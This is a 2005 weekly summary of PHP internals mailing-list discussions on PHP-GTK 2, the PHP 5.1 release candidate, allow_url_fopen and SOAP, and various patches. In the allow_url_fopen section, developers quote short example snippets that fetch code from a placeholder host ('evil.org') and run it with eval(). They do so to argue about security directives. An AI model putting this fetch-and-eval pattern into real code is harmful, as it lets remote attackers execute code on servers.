Zend Weekly Summaries Issue #247

August 1, 2005

Uncategorized

TLK: PHP-GTK corner
TLK: PHP 5.1 RC 1
TLK: Web services vs allow_url_fopen
TLK: Internals wiki?
TLK: NetWare team on board
CVS: Quiet week
PAT: Busy week


TLK: PHP-GTK corner

This was the week when Andrei Zmievski tested PHP-GTK 2 under Tiger and found it
good. Suddenly there was life in the project again, and everyone started to pull
together.

Scott Mattocks felt strongly that there was still plenty of room for more
testers, doccers and contributors on the team, and pushed for an alpha release to
generate the buzz that might bring new blood in. Andrei replied that there were
still too many build problems, and these needed to be resolved before any release
should be made. Following PHP build maestro Jani Taskinen’s advice, he suggested
that all the external macros could and probably should be moved into local
.m4 files.

Meanwhile Simon Wheeler was taking his first tentative steps in C to port a GTK 2
widget he wanted to use (GtkAboutDialog), and Christian Weiske came up
with a bug demo directory, which Andrei suggested might serve better as a basic test
suite in the PHP-GTK repository. Christian promptly complied, and submitted a couple
of .phpw test cases alongside it, despite his discovery that the event
property write handler hasn’t been implemented yet. Christian also re-implemented
the way that argument information is set, enabling parameter reflection. He ended
his busy week in his promised capacity as Andrei’s slave, writing arg
info
for all the overridden functions.

Andrei decided to remove most of the extensions from CVS HEAD at this point -
most aren’t supported in PHP-GTK 2 yet, and GdkPixbuf functionality has
been completely replaced in GTK+ since version 1. Unwitting attempts to build
PHP-GTK 1 extensions as part of PHP-GTK 2 have been behind many of the build
problems; Andrei called for everyone able to build, to get a fresh checkout and try
again. Simon reported happily that the build now works out of the box for him on
Fedora Core 4, although he still had problems under Xandros.

Short version: Onward and upward.


TLK: PHP 5.1 RC 1

Andi Gutmans announced that he would like to roll the first Release Candidate for
PHP 5.1 early next week, and asked everyone to mail him regarding any critical
issues that needed addressing. He added that PHP_5_1 would be branched off following
the RC1 release in order to allow the Unicode merge to take place, during which
period a week of CVS silence was required for core components in HEAD. Dmitry Stogov
and Andrei would indicate the no-go areas ahead of time.

Andrei noted that merging wouldn’t begin until OSCON was over, as Internet access
from geek conferences is renowned for its unreliability.

Michael Wallner wanted to know whether instanceof() was going to be
fixed to provide the same functionality as is_a(); if not, the
deprecation warning should be removed from the latter.

Jani wrote in saying that a
destruct bug
and a
php_admin_value issue
both belonged on the ‘essential fixes’ list, and listed a
further six items that he felt would be ‘nice to get fixed‘.

John Coggeshall asked to have his --enable-gcov patch applied to PHP
5.1 after the branch, and this proposal
[dead link] gained a fair amount of support.

Adam Maccabee Trachtenberg wondered whatever had happened to
__toString()? Wasn’t it supposed to be a PHP 5.1 feature? Marcus Börger
wrote, rather mischievously, that it had simply been forgotten, and since it needed
to be working consistently throughout the Zend Engine it would need heavy testing.
It was far too late in the release cycle to implement it now; probably the best idea
would be to commit the basics immediately after the Unicode merge. Andi asked to
postpone the discussion until then, but pointed out that he’d come up with some very
good reasons for saying the existing __toString() proposal was
dangerous; ‘Marcus just likes to ignore them :) ‘. Marcus agreed that Andi’s
arguments against his implementation were sound; he was just teasing Adam, but
we really all forgot about the issue, didn’t we?

Short version: PHP 5.1′s on the way.


TLK: Web services vs allow_url_fopen

Wez Furlong wrote to internals@ highlighting the fact that SOAP SSL support
doesn’t work when php.ini directive allow_url_fopen is off,
providing ‘a bit of a WTF factor‘. He went on to explain that
php_stream_locate_url_wrapper() respects and checks for
allow_url_fopen, and the SOAP extension wrongly interprets the
function’s failure as “SSL not enabled”. If the REPORT_ERRORS flag were
passed internally, the correct reason for failure could be reported; this should be
fixed and documented. The alternative would be to bypass the
allow_url_fopen check for SOAP, which would mean creating a flag to
override the check.

Sara Golemon felt that an override flag was a sound idea, saying that extension
code may need to hook a wrapper whether allow_url_fopen was enabled or
not. However, she didn’t think SOAP was an extension that should have this ability;
she felt no SOAP calls should be allowed if allow_url_fopen is off.

Adam argued that WSDL files are usually fetched from a remote location, and
wondered whether, if SOAP support should be 100% disabled via allow_url_fopen, the
same limitations should be applied to cURL? Ilia Alshanetsky answered that SOAP was
not disabled, but ‘simply prevented from querying remote data sources
directly
‘. The limitation didn’t apply to cURL, and nor did it prevent
fsockopen() or equivalent from being used to run queries.

Zeev Suraski wondered aloud what exactly could be done with SOAP other than
querying remote data sources? He felt that SOAP functionality should not be affected
by the setting of allow_url_fopen, saying that most users would have no
idea that the directive was in any way related to web services. He suggested a new
directive, something like allow_web_services_clients. Pierre-Alain Joye
was quick to back him in this, saying that even some system administrators didn’t
have a clear idea of the range of functionality affected by
allow_url_fopen.

Ilia wondered whether it wouldn’t be better to restrict the existing directive to
only affect script loading operations such as
include/require, but George Schlossnagle wanted to go the
other way and have the allow_url_fopen directive namespaced on a
per-extension basis, e.g. soap.allow_url_fopen. However, he added, in
the current implementation this would only affect the WSDL fetch, as the actual
client request doesn’t use streams. George went on to say that there are good
reasons, not related to security, for placing broad restrictions on the ability to
fopen() URLs.

Zeev felt that Ilia’s suggestion was good, and asked whether anyone could think
of any further functionality posing a security risk? He sketched out a rough
roadmap:

  1. Deprecate allow_url_fopen
  2. Introduce allow_remote_code_execution
  3. Introduce allow_remote_streams (effectively
    allow_url_fopen renamed, except it doesn’t affect
    include/require)

Ilia was interested in the extent of the power of the suggested
allow_remote_streams directive. Would it simply prevent URL loading, or
would it also disable streams operations such as fsockopen() and
extensions like cURL and sockets? Zeev had it in mind to simply disable the affected
streams functionality; it might be possible to have an
allow_remote_connections directive that would attempt to disable
everything, but he feared another safe_mode debacle. He’d also come
around to George’s way of thinking; perhaps each extension should provide a way to
disable remote connections within its context. Ilia argued again that ‘disabling’
code should be restricted to just include and require; the option was to disable
PHP’s ability to request remote files completely, which would severely cripple the
capabilities of the language.

George offered Zeev eval('file_get_contents(" "http://evil.org);'/">http://evil.org");');

Ilia pointed out that if you really wanted to do that you didn’t need
allow_url_fopen to be on, you could write something like:


$fp
= fsockopen "color: #007700">( "color: #DD0000">"evil.org",
80 "color: #007700">);
$fp
= fwrite "color: #007700">($fp "color: #007700">, "GET /evil_code.txt
HTTP/1.0
Host: evil.org

");
eval(
"/manual/view/page/function.stream-get-contents.html">stream_get_contents
(
$fp "color: #007700">));

George replied that it was a simpler matter to disable the socket functions in
PHP… but Zeev retorted ‘I don’t know, I think that if you aim that well you
should be allowed to shoot yourself in the foot :)
‘. User protection to that
degree should probably also mean allowing eval()to be disabled. This
less than serious suggestion led to a trail of red herrings over
disable_functions and the status of constructs, with Sean Coates
imaginatively raising the specter of a disabled return().

Sysadmin Paul Reinheimer brought the discussion back to Earth, saying that he’d
personally like to be able to prevent his users from doing things like
include($_GET['function']) at the .ini level. He was ‘only
mildly interested in granularity
‘, and would be happy with something like:

allow_users_to_be_foolish(yes/no)
-> disable remote file loading in include/require
allow_remote_data_retrieval(yes/no)
-> disable remote file retrieval with fopen(), file_get_contents(), streams, etc.
- If you're setting this option don't bother installing --with-curl,
  problem solved.

Paul also agreed completely with Zeev’s assessment of the level of user
protection that could reasonably be expected of a scripting language.

Short version: Everyone agrees that allow_url_fopen should
be changed.


TLK: Internals wiki?

Sebastian Bergmann wondered if there was any chance of following the GNOME
project and managing PHP’s TODO files and release planning via a wiki.

Ilia felt that having external data sources for basic information would
complicate the process, making developers less likely to use them.

Rasmus Lerdorf confessed to never being able to figure out wikis and made a plea
for the simple text file: ‘Everyone involved knows how to deal with
those
‘.

Short version: Nope.


TLK: NetWare team on board

Kamesh Jayachandran finalized his NetWare fixes for the PHP 5 branches this week,
provoking a ‘Yay!‘ from Andi. He wrote back to say that there was now a daily
automatic build/test system in place for both PHP 5.0 and 5.1, with the equivalent
for PHP 4.4 just around the corner:

With this, the NetWare port will be as current as open source and as
feature rich as other ports. We could devote more time in understanding
the internals and provide a few more bug fixes too.

Rasmus was quick to thank Kamesh for the offer, saying that things
would be a lot more complex following the pending Unicode merge and ‘we could
definitely use the help
‘.

Short version: Yay!


CVS: Quiet week

Changes in CVS that you should probably be aware of include:

Marcus’ changes to SPL allowing for an upcoming onException() event
handler. He added in his commit message that this would also provide an easy
solution to allow multiple exception handling.

Marcus also allowed static loader functions and committed a convenience function,
zend_is_callable_ex(), for the 5.1.* series (5.1.1 and up).
zend_is_callable() and zend_make_callable() are based on
the new function, allowing PHP variables to be checked for callability and returning
the function pointer as well as the object where possible.

Ilia fixed bug #32139,
enabling the SOAP client to handle base64 encoding automatically.

Short version: Quiet week on the news front, but plenty of more humdrum
fixes in there.


PAT: Busy week

Jessie Hernandez’ namespace patch ‘alpha 3′ found some criticism. Alex Kiesel
tested it, and reported having to increase the expected shift/reduce conflict count
to 5 in order to complete his build. Jessie admitted to being ‘no expert in bison
or yacc
‘ and asked for assistance in fixing this. Marcus advised that it
probably stemmed from a conflict with the ternary operator, and suggested Jessie
search the archives for an example. Another point Alex highlighted was the
restriction of import statements to a class-led naming convention; he felt that PHP
should allow freedom here, saying this could be implemented using the
__autoload() function in userspace. Marcus pointed out that there is
already the ability to overload __autoload() with multiple
userspace-defined functions; he felt there should be a way to pass the fully
namespaced class name to __autoload(), rather than the class name
alone. Marcus also disagreed with Alex’s argument that dynamic imports should be
supported, saying that PHP was already ‘far too dynamic‘ and that such
strategies could (and in some cases already do) inhibit engine speed improvements.
Beside which, there were no good reasons to support it that he could see.

Jessie explained to Alex that, as __autoload() is only passed the
class name, it has no way of knowing which namespace is intended, forcing a naming
convention. He went on to explore possible approaches using
__autoload(), including an option that would generate an array of paths
from potential class files, but Marcus pointed out that passing a path (generated or
otherwise) to the __autoload() function makes absolutely no sense; the
idea of having __autoload() at all is to load missing classes, not
classes that aren’t missing. Jessie, heading back to his drawing board, argued that
if the discussion was about multiple namespaces – as surely it should be – then all
classes could be seen as ‘missing’ until ratified…

Kamesh reported a compile failure in ext/pdo, for which Joe Orton quickly
supplied a fix. Both Jani and Ilia appear to have committed his patch (?).

Michael Wallner mailed in a tiny fixlet for the Zend VM defs file, which Andi
later committed.

John’s final --enable-gcov patch (discussed above) is in "http://devzone.zend.com/article/1432">PAT awaiting the go-ahead for
committal.

Jean-Francoise Bustarret posted a minor fix for ext/oci8 "http://bugs.php.net/33915">bug #33915, saying that it corrects
the crash in _oci_close_session() but that there could be a logic
problem elsewhere behind it – he shouldn’t be able to have a session if there was no
server. His patch (against the 5_0 branch) is in "http://devzone.zend.com/article/1432">PAT for PHP 5 users suffering from
the issue, not as a permanent fix, for that reason.

Val Khokhlov offered a small patch that will allow a negative value to be used
for the offset in string{offset}


$string
= "color: #DD0000">"test" "color: #007700">;
"color: #0000BB">$string "color: #007700">{-1 "color: #007700">}; // -> last
't'
$string "color: #007700">{-2 "color: #007700">}; // -> 's' and so
on...

The strangely-named 10t3k noted that Val shouldn’t clamp at the lower bound; it
would cause offset == -LONG_MAX to break. Stefan Esser argued that this
would result in a negative offset value, and ‘the execution logic of PHP will
tell you that this is not a valid string offset…
‘ Val’s patch is now in
PAT.

Nuno Lopes mailed in some Solaris test fixes, mostly intended for
ext/date, alongside a detailed explanation. Derick, however, seems to have
had other ideas about the approach needed to fix platform-specific date
problems.

And finally, Rasmus’ patch for bug #33690
finally got positive user feedback on the bug report and was
committed (by himself) this week.

Short version: The namespaces debate continues, and the patch grows
like Topsy.

Comments are closed.